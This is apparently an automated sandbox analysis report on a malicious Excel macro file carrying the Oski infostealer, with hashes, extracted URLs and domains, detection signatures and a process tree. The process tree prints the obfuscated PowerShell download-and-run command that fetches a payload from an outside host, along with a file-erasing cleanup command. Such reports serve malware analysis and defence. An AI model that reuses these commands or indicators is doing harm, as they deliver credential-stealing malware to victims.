Analysis
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max time kernel
70s -
max time network
52s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
04/08/2021, 19:33
Behavioral task
behavioral1
Sample
691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm
Resource
win7v20210410
Behavioral task
behavioral2
Sample
691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm
Resource
win10v20210408
General
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Target
691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm
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Size
13KB
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MD5
2be7123060d0a3294b6fabff5553da30
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SHA1
a62e852b641ff566c41ef49ffb60b2cff377acdc
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SHA256
691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f
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SHA512
d5fdf9eef61e3f498f268285870b38c679b9f692f5ac74b269688a20691da8c660c35dcb05f1ff3b6e3e2c30d4b39dc983ce71dc0d32b168d1b1a998ff750856
Malware Config
Extracted
http://iurl.vip/3osyi
Extracted
oski
notedemo.axfree.com
Signatures
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Oski
Oski is an infostealer targeting browser data, crypto wallets.
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1152 1200 cmd.exe 24 Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1784 1200 powershell.exe 24 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
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suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 1784 powershell.exe 8 1784 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
pid Process 1552 DoFPS.exe -
Loads dropped DLL 8 IoCs
pid Process 1804 powershell.exe 1804 powershell.exe 1804 powershell.exe 360 vbc.exe 360 vbc.exe 360 vbc.exe 360 vbc.exe 360 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 1152 cmd.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1552 set thread context of 360 1552 DoFPS.exe 36 -
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString vbc.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Kills process with taskkill 1 IoCs
pid Process 1744 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1200 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1784 powershell.exe 1804 powershell.exe 1804 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 1804 powershell.exe Token: SeDebugPrivilege 1784 powershell.exe Token: SeDebugPrivilege 1552 DoFPS.exe Token: SeDebugPrivilege 1744 taskkill.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1200 EXCEL.EXE 1200 EXCEL.EXE 1200 EXCEL.EXE -
Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 1200 wrote to memory of 1152 1200 EXCEL.EXE 26 PID 1200 wrote to memory of 1152 1200 EXCEL.EXE 26 PID 1200 wrote to memory of 1152 1200 EXCEL.EXE 26 PID 1200 wrote to memory of 1152 1200 EXCEL.EXE 26 PID 1200 wrote to memory of 1784 1200 EXCEL.EXE 27 PID 1200 wrote to memory of 1784 1200 EXCEL.EXE 27 PID 1200 wrote to memory of 1784 1200 EXCEL.EXE 27 PID 1200 wrote to memory of 1784 1200 EXCEL.EXE 27 PID 1152 wrote to memory of 1804 1152 cmd.exe 30 PID 1152 wrote to memory of 1804 1152 cmd.exe 30 PID 1152 wrote to memory of 1804 1152 cmd.exe 30 PID 1152 wrote to memory of 1804 1152 cmd.exe 30 PID 1804 wrote to memory of 1552 1804 powershell.exe 35 PID 1804 wrote to memory of 1552 1804 powershell.exe 35 PID 1804 wrote to memory of 1552 1804 powershell.exe 35 PID 1804 wrote to memory of 1552 1804 powershell.exe 35 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 1552 wrote to memory of 360 1552 DoFPS.exe 36 PID 360 wrote to memory of 1644 360 vbc.exe 39 PID 360 wrote to memory of 1644 360 vbc.exe 39 PID 360 wrote to memory of 1644 360 vbc.exe 39 PID 360 wrote to memory of 1644 360 vbc.exe 39 PID 1644 wrote to memory of 1744 1644 cmd.exe 41 PID 1644 wrote to memory of 1744 1644 cmd.exe 41 PID 1644 wrote to memory of 1744 1644 cmd.exe 41 PID 1644 wrote to memory of 1744 1644 cmd.exe 41
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\SysWOW64\cmd.execmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\DoFPS.exe2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\DoFPS.exe3⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe"C:\Users\Admin\AppData\Local\Temp\DoFPS.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:360 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 360 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\491030034922458\\* & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 3607⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1744
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/3osyi',$env:Temp+'\DoFPS.exe')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1784
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